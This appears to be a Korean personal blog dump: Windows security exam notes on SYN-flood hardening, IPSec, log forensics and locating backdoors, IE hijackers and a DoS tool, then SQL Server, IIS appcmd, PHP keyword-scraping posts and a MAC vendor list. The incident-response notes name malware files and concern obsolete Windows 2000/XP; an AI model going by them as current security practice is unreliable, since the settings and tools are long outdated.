TCP 211.241.82.71:80 16.192.252.18:22452 SYN_RECEIVED
TCP 211.241.82.71:80 49.5.243.221:52363 SYN_RECEIVED
TCP 211.241.82.71:80 50.145.99.80:46108 SYN_RECEIVED
TCP 211.241.82.71:80 51.53.109.147:28308 SYN_RECEIVED
TCP 211.241.82.71:80 61.58.85.212:52375 SYN_RECEIVED
TCP 211.241.82.71:80 63.33.85.135:32111 SYN_RECEIVED
TCP 211.241.82.71:80 67.206.19.195:28501 SYN_RECEIVED
TCP 211.241.82.71:80 68.79.239.155:42810 SYN_RECEIVED
TCP 211.241.82.71:80 221.29.79.118:36387 SYN_RECEIVED 

=>서비스 거부 공격을 원천적으로 막을 수 있는 방법은 아직 없지만

윈도우는 TCP/IP 스택을 강화하면 일부 정도는 막을수 있다.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\tcpip\parameters " 에

다음과 같은 항목을 추가한다.

name                   hex값(10진)
EnableICMPRedirect     0
SynattackProtect       2
TcpMaxHalfOpen            64(100)
TcpMaxHalfOpenRetried     64(100)
EnableDeadGWDetect    0
EnablePMTUDiscovery    0
KeepAliveTime    493e0(300000)
DisableIPSourceRouting    2
TcpMaxConnectResponseRetransmissions    2
TcpMaxDataRetransmissions    3
PerformRouterDiscovery    0
TcpMaxPortsExhausted   5
NoNameReleaseOnDemand     1



14.IPSec 보안

1. 외부의 특정 네트워크 대역으로부터 SMB Login Burst Force 공격이
지속적으로 발생되고 있다.
해당 네트워크 대역으로부터 서버를 보호하기 위한 IPSec 환경을 구성하여라.
(단, 보안정책 이름은 CIFS_DCOM Deny 로 지정한다.)

=> 로컬 보안 설정 > "로컬 컴퓨터의 IP 보안 정책"에
  새 정책을 "CIFS_DCOM Deny"로 등록 한다.


2. 다른 서버에서도 적용 가능하도록 정책을 저장하여라[C:\Default_Care.ipsec].
내보내기로 저장


15.TCP/IP 필터링

1. 공개적인 웹 서비스를 구축하기 위해 TCP/IP 필터링을
사용하여 아래와 같이 구성하여라.
▶ 재시작 후에 웹 서비스 포트(80/TCP, 443/TCP)만 접근 가능하도록 설정하여라.
=> 네트워크 연결 > 로컬 네트워크 속성 > 인터넷 프로토콜 속성 >
   "고급" 클릭 > 고급 tcp/ip 설정에 "옵션" 탭에 > 속성
  
TCP/IP 필터링 사용(모든 어댑터) 체크
다음만 허용 체크후에 포트 추가
tcp -> 80, 443
udp -> 없음.
ip  -> 6

ip에 6번을 추가하는 이유
Decimal Keyword Protocol
======= ======= ==============
0 HOPOPT IPv6 Hop-by-Hop Option
1 ICMP Internet Control Message
2 IGMP Internet Group Management
3 GGP Gateway-to-Gateway
4 IP IP in IP (encapsulation)
5 ST Stream
6 TCP Transmission Control
7 CBT CBT
8 EGP Exterior Gateway Protocol
9 IGP any private interior gateway
(used by Cisco for their IGRP)


2. IPSec을 사용하여 아래와 같이 구성하여라.
▶ 웹 서버가 Ping에 응답되지 않도록 설정하여라.
(단, 보안정책 이름은 ICMP_ECHO Deny 로 지정한다.)
=>
 머리속에 있음.


16.인터넷 연결 방화벽ICF

Windows XP에서 외부 공격을 효율적으로 차단하기 위해
ICF(Internet Connection Firewall)을 사용 하기로 하였다.
아래와 같이 구성하여라.

1. 211.241.82.71에서만 원격 데스크톱 서비스에 접근 가능하도록 설정하여라.


2. 원격 데스크톱 서비스에 접근 성공한 로그를 남기도록 설정하여라.


3. ping 요청에 응답하지 않도록 설정하여라.


17.이벤트 로그 분석

※C:LogParser를 사용하시오 

피해 시스템에서 가져온 보안 이벤트 로그(C:sec_security.evt)를 분석하여
아래 질문에 답하시오. (시간은 `2004-11-24 19:30:29` 의 형태로 입력해야 함.)

1. 최초 침입자가 시스템에 네트워크로 로그온 성공한 시간과 사용자명,
컴퓨터 이름은 무엇인가?
=>
네트워크 로그온 이벤트 ID : 540
logparser "select * from sec_security.evt where eventid = 540" -o:csv > 515.csv

[로그온 성공한 시간] : 2003-08-13 20:07:24
[사용자명] : admin
[컴퓨터 이름] : SHANLUZ

Burst-Force Attack 성공 EventID : 680, 576, 540, 538
네트워크 로그온 command session 연결 성공 EventID : 680, 576, 540, 515

2. 원격 로그온에 사용된 프로세서는 무엇인가?

=> psexesvc.exe

3. 두 번째 침입자가 시스템에 네트워크로 로그온 성공한 시간과 사용자명,
컴퓨터 이름은 무엇인가?
[로그온 성공한 시간] :2003-08-13 20:24:25
[사용자명] : admin
[컴퓨터 이름] : UHUHLY

4. 원격 로그온에 사용된 프로세서의 윈도우 서비스 명은 무엇인가?
=>Tlntsvr.exe


18.인터넷 익스플로어 악성 프로그램 대응

1. 인터넷 익스플로어를 실행할 때마다 인터넷 옵션의
시작 페이지를 http://www.sis.or.kr 로 변경하였음에도 불구하고
http://movie2.ce.ro/로 계속 변경 되고 있다.
시작 페이지와 관련된 레지스트리 값을 모두 찾아
http://www.sis.or.kr로 변경하여라.

2. 인터넷 익스플로어 주소창에 등록되지 않은 도메인을 입력할 경우
원하지 않는 사이트(http://prosearching.com)로 이동되고 있다.
위와 관련된 레지스트리 값을 모두 찾아 www.sis.or.kr로 변경하라.

=> 아래에 나와있는 레지스트리를 찾아서 바꾸면된다.
혹은 검색해서 변경해도 결과는 같다.

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\CustomizeSearch

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Search Page

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\StartPage


HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\CustomizeSearch

HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Search Page

HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\SearchAssistant

HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Start Page


19.악성 프로그램 대응서비스

윈도우 2000 Server 시스템이 해킹 당한 것으로 의심되었다.
백신 프로그램으로 바이러스 감염여부를 조사하였지만 특별한 이상은 없었다.
시스템 관리자가 유심히 지켜본 결과 특정 네트워크 포트를 통해 시스템에
지속적으로 접근한다는 사실과 서버를 재 부팅하여도
계속적으로 동일한 현상이 발생한다는 것을 알았다.

1. 침입자가 설치한 백도어 파일 이름과 백도어 포트는 무엇인가?

※C:fport를 사용하시오

fport 를 실행시키면

pid3388 / c:\windows\system32\ismshrv.exe   이녀석이 실행되고 있음.

20.악성 프로그램 대응dll

윈도우 2000 Server 시스템이 해킹 당한 것으로 의심되었다.
백신 프로그램으로 바이러스 감염여부를 조사하였지만 특별한 이상이 없고,
윈도우 작업 관리자를 통해 실행중인 프로세서 목록을 점검하여도 의심될 만한
프로그램이 없었다. 시스템 관리자가 유심히 지켜본 결과 침입자가
동적 연결 파일(Dynamic Linking Library File)를 이용한다는 것과
서버를 재 부팅하여도 계속적으로 동일한 현상을 발생 시킨다는 것을 알았다.
또한 특정한 외부 웹 서버로 일정 시간마다 SYN패킷을 보내고 있다는 것도 알았다.

1. 악성 프로그램이 이용하고 있는 서비스 이름과 DLL 파일, 포트는 무엇인가?

※C:\listdlls를 사용하시오

listdlls -?  //도움말을 볼 수 있다.

시간이 너무 오래 걸려서 explorer만 확인해보았다.

c:> listdlls explorer.exe

hgfs.dll 만 버젼 정보가 나오지 않는다.. 수상한것으로 판단했다.

나머지 이런것들도 있단다.
iexplorer.dll
explorer.dll
msexcel.dll


21.악성 프로그램 대응.bat 레지스트리 실행

네트워크 관리자로부터 현재 사용중인 Windows 컴퓨터가 이상 트래픽이
발생된다는 보고를 받았다. CPU 사용률이나 메모리 점유율이 평소와 크게
차이가 없고, netstat 명령을 이용하여 네트워크 접속 상황을 점검하여도
특이할 사항이 발견되지 않았다. 그러나 윈도우 배치프로그램 실행할 때마다 동시에
알지 못할 프로세서가 시작된다는 것을 알았다.

1. 악성 프로그램 실행(.exe) 파일의 Original Filename은 무엇인가?

2. 악성 프로그램 제작자의 Messenger ID는 무엇인가?

3. 악성 프로그램이 변경한 시스템 환경을 원래대로 복구 하여라.

※C:\exefileinfo, Process Explorer등을 사용하시오

=> 프로세스 익스플로러를 실행시킨다.
윈도우 배치 프로그램이 수상하다 했으니 system32\ 파일을 검색해보자

3개에 배치파일일 검색된다.

ready.bat
start.bat
parsng.bat

ready.bat을 실행 시키로 프로세스 익스플로러를 확인해 보니

igmp.exe 라는 프로그램이 지속적으로 실행 종료를 반복하고 있다.

igmp.exe 프로그램도 system32\ 폴더에 있다.

exefileinfo 프로그램을 이용하여 igmp.exe를 열어보면
제일 아래쪽에 파일 설명이 나와있다.
파일 설명 : port of kiss of death dos attack to windows
버젼 : 1.2.0.0
저작권 : Kalibre (metinsdr@hotmail.com)
최초파일명 : bomba.exe

2011/01/27 01:06 2011/01/27 01:06

MS SQL Server 2008 Express Edition 설치하기.

SQL Server 2008 한국 공식 페이지
http://www.microsoft.com/korea/sqlserver/2008/

1) .NET Framework
아래 SQL Server 2008 시리즈를 설치하려면 .NET Framework가 필요합니다. 2005는 2.0이 필요했는데 2008은 잘 모르겠네요. Windows Vista, Windows Server 2008 유저라면 .NET Framework를 설치하지 않아도 됩니다. 기본으로 3.0이 깔려있거든요. 아니 3.5던가-.- 여튼.
http://www.microsoft.com/downloads/details.aspx?displaylang=ko&FamilyID=ab99342f-5d1a-413d-8319-81da479ab0d7
.NET Framework 3.5 SP1

2) Windows Installer 4.5
http://www.microsoft.com/downloads/details.aspx?familyid=5A58B56F-60B6-4412-95B9-54D056D6F9F4&displaylang=ko

SQL Server 2008을 설치하기 위해 새로운 버젼의 Windows Installer가 필요합니다. XP, Vista, 2003, 2008 사용자들 모두 받아서 설치하셔야 합니다. 비스타 최신버젼으로 항상 업데이트 하는데 4.5는 권고사항이 아닌지 자동으로 업데이트 하지는 않는군요. 자 설치 후 윈도 재시작을 합시다.

3) Windows PowerShell
http://www.microsoft.com/downloads/details.aspx?FamilyID=c6ef4735-c7de-46a2-997a-ea58fdfcba63&displaylang=ko&Hash=q16zriLf9%2bvbBNjIAiEzg9%2bsT1k8UgwO7qoAnWIVumx7GpCL4Y5iFpet8c%2fSyYvVpqCxGv8G%2fTcs9c05QshDjg%3d%3d
Windows Vista 사용자 대상입니다.

http://www.microsoft.com/downloads/details.aspx?FamilyID=c61fb27b-e71c-4ecf-9d2c-9b299b149490&displaylang=ko
이건 Windows Server 2003

http://www.microsoft.com/downloads/details.aspx?FamilyID=30125a46-b97c-4704-aa10-605e809d5933&displaylang=ko
이건 Windwos XP 용


1. 다운로드
http://www.microsoft.com/express/sql/download/
  • SQL Server 2008 Express with Tools
    • SQL Server database engine - create, store, update and retrieve your data
    • SQL Server Management Studio Basic - visual database management tool for creating, editing and managing databases
  • SQL Server 2008 Express with Advanced Services
    • SQL Server database engine - create, store, update and retrieve your data
    • SQL Server Management Studio Basic - visual database management tool for creating, editing and managing databases
    • Full-text Search - powerful, high-speed engine for searching text-intensive data
    • Reporting Services - integrated report creation and design environment to create reports
  • SQL Server 2008 Express (Runtime Only)
    • SQL Server database engine - create, store, update and retrieve your data

이렇게 세가지 중에 골라서 자기 환경에 맞는 것을 설치합니다.
대체로 SQL Server 2008 Express with Tools를 설치하겠지요.

2. 설치하기
뭐 별거 있나요. 받은 EXE 파일 실행합시다 -p-
좌측 "설치" 메뉴에 "새 SQL Server 독립 실행형 설치 또는 기존 설치에 기능 추가" 입니다.
그리고 그냥 다음, 확인, 설치 버튼 쭉 눌러가다보면 끝.



이상 설치 한 후 써본 소감은.
기존 SQL Server 2005에 비해 쿼리 작성기가 많이 편해졌다. 코드 하이라이팅은 원래 됬는데, Visual Studio 처럼 자동 완성 기능이 생겼다 (!!!!!!!!!)
이상 눈에 띄는 좋은 점 끝.
2011/01/27 01:04 2011/01/27 01:04
특정 사이트의 환경 설정값 전체 조회

appcmd.exe list config "youngsam.kr"


특정 사이트의 환경 설정값중 특정 섹션

appcmd.exe list config "youngsam.kr" /section:asp

<system.webServer>
  <asp>
    <session />
    <comPlus />
    <cache diskTemplateCacheDirectory="%SystemDrive%\inetpub\temp\ASP Compiled Templates" />
    <limits />
  </asp>
</system.webServer>



특정 사이트의 환경 설정값중 특정 섹션의 속성값

appcmd.exe list config "youngsam.kr" /section:asp /config:*

<system.webServer>
  <asp appAllowClientDebug="false" appAllowDebugging="false" errorsToNTLog="false" ..........



환경 설정값 에서 어떤 섹션이 있는지 조회

appcmd.exe list config /section:?

system.net/authenticationModules
system.web/deployment
system.web/httpModules
system.webServer/directoryBrowse
system.webServer/cgi .................



웹서버 또는 특정 사이트의 특정 섹션값 변경

appcmd.exe set config /section:asp /appAllowClientDebug:false

구성 커밋 경로 "MACHINE/WEBROOT/APPHOST"에서 "MACHINE/WEBROOT/APPHOST"의 "system.webServer/asp" 섹션에 구성 변경을 적용했습니다.


등록되어 있는 모듈 조회

appcmd.exe list config /section:system.webServer/modules

<system.webServer>
  <modules>
    <add name="HttpCacheModule" />
    <add name="StaticCompressionModule" />
    <add name="DefaultDocumentModule" />
    <add name="DirectoryListingModule" />
    <add name="ProtocolSupportModule" />
    <add name="StaticFileModule" />
    <add name="AnonymousAuthenticationModule" />
    <add name="RequestFilteringModule" />
    <add name="CustomErrorModule" />
    <add name="IsapiModule" />
    <add name="HttpLoggingModule" />
    <add name="BitrateModule" />
  </modules>
</system.webServer>



특정 모듈 추가 및 제외 [+/-]

appcmd.exe set config /section:system.webServer/modules /-[name='HttpCac
heModule']



특정 노드 또는 속성값 조회

appcmd.exe search config "youngsam.kr"

CONFIGSEARCH "MACHINE/WEBROOT/APPHOST/youngsam.kr"

2010/11/06 06:15 2010/11/06 06:15
우연히 다음 실시간 순위 XML을 필요로 해서 만들게 되었습니다.
올만에 글을 쓰기는 하네요..피식.
필요하신분.....ㅋㅋ 조심히 쓰세요.....

======================================================
Header("Content-type: text/xml; charset=UTF-8");
$fp = fopen("http://img.search.daum-img.net/jumpkeyword/tot.js","r");            
while(!feof($fp)) {                
    $data=fread($fp,2048);
    $text = iconv("CP949","UTF-8",$data);                    
    preg_match_all("/K:\"(.*?)\r\n/i",$text,$matches);
    for($i=0;$i<=sizeof($matches[0]);$i++) {
        $cno = $matches[0][$i];
        $cno = str_replace("K:\"","",$cno);
        $cno = str_replace("\"","",$cno);
        $cno = str_replace(",","",$cno);
        $cno = str_replace("\r\n","",$cno);
        $cno = trim($cno);
        $chart[$i] = $cno;
    }
}
fclose($fp);

$xml = '<?xml version="1.0" encoding="UTF-8" ?>';
$xml .= '<root>';
for($i=0;$i<$chart_cnt;$i++) {
    $xml .= "<cno><![CDATA[{$chart[$i]}]]></cno>";
}
$xml .= '</root>';    
echo $xml;
======================================================

Link1 http://banner.adget.co.kr/_mkXML/webseach.xml.php?fs=daum
Link2 http://banner.adget.co.kr/_mkXML/webseach.xml.php?fs=naver
2010/09/26 23:31 2010/09/26 23:31
예전에 만든거 좀더 보안해서
그냥 추가적으로 작성한 내역 공유해 드립니다.
참고항목으로 `네이버 코드` 부분이 있는데
이 부분은 네이버 openAPI 사용시 코드를 발급하셔야 합니다.
1개의 코드에 보낼수 있는 쿼리양이 정해져있어서 그부분을 해결해보고자
코드 2~3개 를 추가발급받으신후 등록하면 무리없으실거에요.

그리고 저번에 정규식 부분에 대해
`\r\n` 로 한건 해당 입력부분안에 대한 내용물중에 , 부분도 있을 경우를 대비한겁니다.
참고로......허접해도....자비좀 부탁드려요..^^

<?

    //################ MB- SKM - 쿠레이지쌩 ###################
    Header("Content-type: text/xml; charset=UTF-8");
    //Header("Content-type: text/html; charset=UTF-8");
    $chart_cnt = 10;
    switch($_GET["fs"]) {
        case "daum" :    
            $fp = fopen("http://img.search.daum-img.net/jumpkeyword/tot.js","r");            
            while(!feof($fp)) {                
                $data=fread($fp,2048);
                $text = iconv("CP949","UTF-8",$data);
                $chart = load_Daum($chart, $text,"K","K");            // 타이틀        
                $chart = load_Daum($chart, $text,"S","S");         // 아이콘설정                
                $chart = load_Daum($chart, $text,"V","V");            // 등업                
            }
            fclose($fp);
            break;        
        default :
            //##################################### 기본 naver
            $chart    = load_Naver("nexearch",10);                         
            //##################################### 기본 naver
            break;
    }
    //print_r($chart);    
    $xml = '<?xml version="1.0" encoding="UTF-8" ?>';
    $xml .= '<root>';
    for($i=0;$i<$chart_cnt;$i++) {
        if(!empty($chart[$i]["K"])) {
            switch($chart[$i]["S"]) {
                case "n"    : $chart_S="http://www.adget.co.kr/_global/_img/chart/new.png";        break;
                case "+"    : $chart_S="http://www.adget.co.kr/_global/_img/chart/up.png";        break;
                case "-"    : $chart_S="http://www.adget.co.kr/_global/_img/chart/down.png";         break;                    
                default    : $chart_S="http://www.adget.co.kr/_global/_img/chart/none.png";        break;
            }
            $xml    .= "<chart>";
            $xml    .= "    <K><![CDATA[".$chart[$i]["K"]."]]></K>";
            $xml    .= "    <S><![CDATA[".$chart_S."]]></S>";
            $xml    .= "    <V><![CDATA[".$chart[$i]["V"]."]]></V>";
            $xml    .= "</chart>";        
        }
    }
    $xml .= '</root>';        
    echo $xml;

//#################################################### 다음용
    function load_Daum($chart, $value,$str,$avalue) {
        preg_match_all("/{$str}:\"(.*?)\r\n/i",$value,$matches);
        for($i=0;$i<sizeof($matches[0]);$i++) {
            $value = $matches[0][$i];                    
            $value = str_replace("{$str}:\"","",$value);
            $value = str_replace("\"","",$value);
            $value = str_replace(",","",$value);
            $value = str_replace("\r\n","",$value);
            $value = trim($value);
            if($str=="S") {
                switch($value) {
                    case "new"    : $value="n";        break;
                    case "++"    : $value="+";        break;
                    case "--"    : $value="-";        break;                    
                    default        : $value="";            break;
                }
            }
            $chart[$i][$avalue] = $value;
        }        
        return $chart;
    }
//#################################################### 다음용

//#################################################### 네이버 API
    function load_Naver($query,$cnt) {                
        $err = "";
        $naver_key = array(
            "네이버 코드1",
            "네이버 코드2",
            "네이버 코드3",
            "네이버 코드4",
            "네이버 코드5");                
        $key = array_rand($naver_key);
        $xmlURL     = "http://openapi.naver.com/search?key={$naver_key[$key]}&query={$query}&target=rank";
        $xmlView = simplexml_load_file($xmlURL);
        for($i=1;$i<=$cnt;$i++) {
            $K     = $xmlView->item->{"R{$i}"}->K;
            $S     = $xmlView->item->{"R{$i}"}->S;
            $V     = $xmlView->item->{"R{$i}"}->V;
            
            switch($S) {
                case "new"    : $S="n";        break;
                case "+"        : $S="+";        break;
                case "-"        : $S="-";        break;                    
                default        : $S="";            break;
            }
            
            if(empty($K) || empty($S) || empty($V))    { $err = "Y"; break; }
            else {
                $chart[] = array(
                    "K"     => $K,
                    "S" => $S,
                    "V"     => $V,
                );
            }
        }
        if($err == "Y" ) $chart = load_Naver($query,$cnt);    
        return $chart;
    }    

    /* load_Naver( A, B );
        // A 입력값
        nexearch    : 통합검색
        cafe            : 카페검색
        blog            : 블로그 검색
        dic                : 사전검색
        image            : 이미지검색
        kin                : 지식iN검색
        music            : 음악검색
        video            : 동영상검색
        webkr            : 웹문서검색
        site            : 사이트검색
        news            : 뉴스검색
        // B 입력값 ( 노출갯수 )
    */
//#################################################### 네이버 API
?>
2010/09/26 23:30 2010/09/26 23:30
예전에 만든거 좀더 보안해서
그냥 추가적으로 작성한 내역 공유해 드립니다.
참고항목으로 `네이버 코드` 부분이 있는데
이 부분은 네이버 openAPI 사용시 코드를 발급하셔야 합니다.
1개의 코드에 보낼수 있는 쿼리양이 정해져있어서 그부분을 해결해보고자
코드 2~3개 를 추가발급받으신후 등록하면 무리없으실거에요.

그리고 저번에 정규식 부분에 대해
`\r\n` 로 한건 해당 입력부분안에 대한 내용물중에 , 부분도 있을 경우를 대비한겁니다.
참고로......허접해도....자비좀 부탁드려요..^^

<?

    //################ MB- SKM - 쿠레이지쌩 ###################
    Header("Content-type: text/xml; charset=UTF-8");
    //Header("Content-type: text/html; charset=UTF-8");
    $chart_cnt = 10;
    switch($_GET["fs"]) {
        case "daum" :    
            $fp = fopen("http://img.search.daum-img.net/jumpkeyword/tot.js","r");            
            while(!feof($fp)) {                
                $data=fread($fp,2048);
                $text = iconv("CP949","UTF-8",$data);
                $chart = load_Daum($chart, $text,"K","K");            // 타이틀        
                $chart = load_Daum($chart, $text,"S","S");         // 아이콘설정                
                $chart = load_Daum($chart, $text,"V","V");            // 등업                
            }
            fclose($fp);
            break;        
        default :
            //##################################### 기본 naver
            $chart    = load_Naver("nexearch",10);                         
            //##################################### 기본 naver
            break;
    }
    //print_r($chart);    
    $xml = '<?xml version="1.0" encoding="UTF-8" ?>';
    $xml .= '<root>';
    for($i=0;$i<$chart_cnt;$i++) {
        if(!empty($chart[$i]["K"])) {
            switch($chart[$i]["S"]) {
                case "n"    : $chart_S="http://www.adget.co.kr/_global/_img/chart/new.png";        break;
                case "+"    : $chart_S="http://www.adget.co.kr/_global/_img/chart/up.png";        break;
                case "-"    : $chart_S="http://www.adget.co.kr/_global/_img/chart/down.png";         break;                    
                default    : $chart_S="http://www.adget.co.kr/_global/_img/chart/none.png";        break;
            }
            $xml    .= "<chart>";
            $xml    .= "    <K><![CDATA[".$chart[$i]["K"]."]]></K>";
            $xml    .= "    <S><![CDATA[".$chart_S."]]></S>";
            $xml    .= "    <V><![CDATA[".$chart[$i]["V"]."]]></V>";
            $xml    .= "</chart>";        
        }
    }
    $xml .= '</root>';        
    echo $xml;

//#################################################### 다음용
    function load_Daum($chart, $value,$str,$avalue) {
        preg_match_all("/{$str}:\"(.*?)\r\n/i",$value,$matches);
        for($i=0;$i<sizeof($matches[0]);$i++) {
            $value = $matches[0][$i];                    
            $value = str_replace("{$str}:\"","",$value);
            $value = str_replace("\"","",$value);
            $value = str_replace(",","",$value);
            $value = str_replace("\r\n","",$value);
            $value = trim($value);
            if($str=="S") {
                switch($value) {
                    case "new"    : $value="n";        break;
                    case "++"    : $value="+";        break;
                    case "--"    : $value="-";        break;                    
                    default        : $value="";            break;
                }
            }
            $chart[$i][$avalue] = $value;
        }        
        return $chart;
    }
//#################################################### 다음용

//#################################################### 네이버 API
    function load_Naver($query,$cnt) {                
        $err = "";
        $naver_key = array(
            "네이버 코드1",
            "네이버 코드2",
            "네이버 코드3",
            "네이버 코드4",
            "네이버 코드5");                
        $key = array_rand($naver_key);
        $xmlURL     = "http://openapi.naver.com/search?key={$naver_key[$key]}&query={$query}&target=rank";
        $xmlView = simplexml_load_file($xmlURL);
        for($i=1;$i<=$cnt;$i++) {
            $K     = $xmlView->item->{"R{$i}"}->K;
            $S     = $xmlView->item->{"R{$i}"}->S;
            $V     = $xmlView->item->{"R{$i}"}->V;
            
            switch($S) {
                case "new"    : $S="n";        break;
                case "+"        : $S="+";        break;
                case "-"        : $S="-";        break;                    
                default        : $S="";            break;
            }
            
            if(empty($K) || empty($S) || empty($V))    { $err = "Y"; break; }
            else {
                $chart[] = array(
                    "K"     => $K,
                    "S" => $S,
                    "V"     => $V,
                );
            }
        }
        if($err == "Y" ) $chart = load_Naver($query,$cnt);    
        return $chart;
    }    

    /* load_Naver( A, B );
        // A 입력값
        nexearch    : 통합검색
        cafe            : 카페검색
        blog            : 블로그 검색
        dic                : 사전검색
        image            : 이미지검색
        kin                : 지식iN검색
        music            : 음악검색
        video            : 동영상검색
        webkr            : 웹문서검색
        site            : 사이트검색
        news            : 뉴스검색
        // B 입력값 ( 노출갯수 )
    */
//#################################################### 네이버 API
?>
2010/09/26 23:30 2010/09/26 23:30
맥주소 mac address

Media Access Control의 약자. Hardware address나 physical address라고도 한다.
OSI DataLink Layer에서 사용하는 주소 체계이며, LAN에 연결되는 모든 장치(LAN Card 등)들은 이 MAC 주소를 가지고 있어야 한다.

MAC 주소는 총 6바이트로 이루어지며 처음 3바이트는 IEEE에서 할당한다. MAC 장비 생산자는 IEEE에서 처음 3바이트를 구입하고(ex:휴맥스의 경우에는 000378h) 나머지 3바이트는 생산자가 결정한다. 이러한 MAC 주소는 global address이며, 드물게 Local LAN의 경우에는 local LAN에서 사용하는 IP와 마찬가지로 MAC 주소도 적당히 만들어 사용할 수 있다. 이러한 MAC 주소는 local address라고 볼 수 있다.

00-00-00    XEROX CORPORATION
00-00-01    XEROX CORPORATION
00-00-02    XEROX CORPORATION
00-00-03    XEROX CORPORATION
00-00-04    XEROX CORPORATION
00-00-05    XEROX CORPORATION
00-00-06    XEROX CORPORATION
00-00-07    XEROX CORPORATION
00-00-08    XEROX CORPORATION
00-00-09    XEROX CORPORATION
00-00-0A    OMRON TATEISI ELECTRONICS CO.
00-00-0B    MATRIX CORPORATION
00-00-0C    CISCO SYSTEMS, INC.
00-00-0D    FIBRONICS LTD.
00-00-0E    FUJITSU LIMITED
00-00-0F    NEXT, INC.
00-00-10    SYTEK INC.
00-00-11    NORMEREL SYSTEMES
00-00-12    INFORMATION TECHNOLOGY LIMITED
00-00-13    CAMEX
00-00-14    NETRONIX
00-00-15    DATAPOINT CORPORATION
00-00-16    DU PONT PIXEL SYSTEMS    .
00-00-17    TEKELEC
00-00-18    WEBSTER COMPUTER CORPORATION
00-00-19    APPLIED DYNAMICS INTERNATIONAL
00-00-1A    ADVANCED MICRO DEVICES
00-00-1B    NOVELL INC.
00-00-1C    BELL TECHNOLOGIES
00-00-1D    CABLETRON SYSTEMS, INC.
00-00-1E    TELSIST INDUSTRIA ELECTRONICA
00-00-1F    Telco Systems, Inc.
00-00-20    DATAINDUSTRIER DIAB AB
00-00-21    SUREMAN COMP. & COMMUN. CORP.
00-00-22    VISUAL TECHNOLOGY INC.
00-00-23    ABB INDUSTRIAL SYSTEMS AB
00-00-24    CONNECT AS
00-00-25    RAMTEK CORP.
00-00-26    SHA-KEN CO., LTD.
00-00-27    JAPAN RADIO COMPANY
00-00-28    PRODIGY SYSTEMS CORPORATION
00-00-29    IMC NETWORKS CORP.
00-00-2A    TRW - SEDD/INP
00-00-2B    CRISP AUTOMATION, INC
00-00-2C    AUTOTOTE LIMITED
00-00-2D    CHROMATICS INC
00-00-2E    SOCIETE EVIRA
00-00-2F    TIMEPLEX INC.
00-00-30    VG LABORATORY SYSTEMS LTD
00-00-31    QPSX COMMUNICATIONS PTY LTD
00-00-32    Marconi plc
00-00-33    EGAN MACHINERY COMPANY
00-00-34    NETWORK RESOURCES CORPORATION
00-00-35    SPECTRAGRAPHICS CORPORATION
00-00-36    ATARI CORPORATION
00-00-37    OXFORD METRICS LIMITED
00-00-38    CSS LABS
00-00-39    TOSHIBA CORPORATION
00-00-3A    CHYRON CORPORATION
00-00-3B    i Controls, Inc.
00-00-3C    AUSPEX SYSTEMS INC.
00-00-3D    UNISYS
00-00-3E    SIMPACT
00-00-3F    SYNTREX, INC.
00-00-40    APPLICON, INC.
00-00-41    ICE CORPORATION
00-00-42    METIER MANAGEMENT SYSTEMS LTD.
00-00-43    MICRO TECHNOLOGY
00-00-44    CASTELLE CORPORATION
00-00-45    FORD AEROSPACE & COMM. CORP.
00-00-46    OLIVETTI NORTH AMERICA
00-00-47    NICOLET INSTRUMENTS CORP.
00-00-48    SEIKO EPSON CORPORATION
00-00-49    APRICOT COMPUTERS, LTD
00-00-4A    ADC CODENOLL TECHNOLOGY CORP.
00-00-4B    ICL DATA OY
00-00-4C    NEC CORPORATION
00-00-4D    DCI CORPORATION
00-00-4E    AMPEX CORPORATION
00-00-4F    LOGICRAFT, INC.
00-00-50    RADISYS CORPORATION
00-00-51    HOB ELECTRONIC GMBH & CO. KG
00-00-52    OPTICAL DATA SYSTEMS
00-00-53    COMPUCORP
00-00-54    MODICON, INC.
00-00-55    COMMISSARIAT A L`ENERGIE ATOM.
00-00-56    DR. B. STRUCK
00-00-57    SCITEX CORPORATION LTD.
00-00-58    RACORE COMPUTER PRODUCTS INC.
00-00-59    HELLIGE GMBH
00-00-5A    SYSKONNECT--A BUSINESS UNIT OF
00-00-5B    ELTEC ELEKTRONIK AG
00-00-5C    TELEMATICS INTERNATIONAL INC.
00-00-5D    CS TELECOM
00-00-5E    USC INFORMATION SCIENCES INST
00-00-5F    SUMITOMO ELECTRIC IND., LTD.
00-00-60    KONTRON ELEKTRONIK GMBH
00-00-61    GATEWAY COMMUNICATIONS
00-00-62    BULL HN INFORMATION SYSTEMS
00-00-63    DR.ING.SEUFERT GMBH
00-00-64    YOKOGAWA DIGITAL COMPUTER CORP
00-00-65    NETWORK ASSOCIATES, INC.
00-00-66    TALARIS SYSTEMS, INC.
00-00-67    SOFT * RITE, INC.
00-00-68    ROSEMOUNT CONTROLS
00-00-69    CONCORD COMMUNICATIONS INC
00-00-6A    COMPUTER CONSOLES INC.
00-00-6B    SILICON GRAPHICS INC./MIPS
00-00-6D    CRAY COMMUNICATIONS, LTD.
00-00-6E    ARTISOFT, INC.
00-00-6F    MADGE NETWORKS LTD.
00-00-70    HCL LIMITED
00-00-71    ADRA SYSTEMS INC.
00-00-72    MINIWARE TECHNOLOGY
00-00-73    SIECOR CORPORATION
00-00-74    RICOH COMPANY LTD.
00-00-75    Nortel Networks
00-00-76    ABEKAS VIDEO SYSTEM
00-00-77    INTERPHASE CORPORATION
00-00-78    LABTAM LIMITED
00-00-79    NETWORTH INCORPORATED
00-00-7A    DANA COMPUTER INC.
00-00-7B    RESEARCH MACHINES
00-00-7C    AMPERE INCORPORATED
00-00-7D    SUN MICROSYSTEMS, INC.
00-00-7E    CLUSTRIX CORPORATION
00-00-7F    LINOTYPE-HELL AG
00-00-80    CRAY COMMUNICATIONS A/S
00-00-81    BAY NETWORKS
00-00-82    LECTRA SYSTEMES SA
00-00-83    TADPOLE TECHNOLOGY PLC
00-00-84    SUPERNET
00-00-85    CANON INC.
00-00-86    MEGAHERTZ CORPORATION
00-00-87    HITACHI, LTD.
00-00-88    COMPUTER NETWORK TECH. CORP.
00-00-89    CAYMAN SYSTEMS INC.
00-00-8A    DATAHOUSE INFORMATION SYSTEMS
00-00-8B    INFOTRON
00-00-8C    ALLOY COMPUTER PRODUCTS, INC.
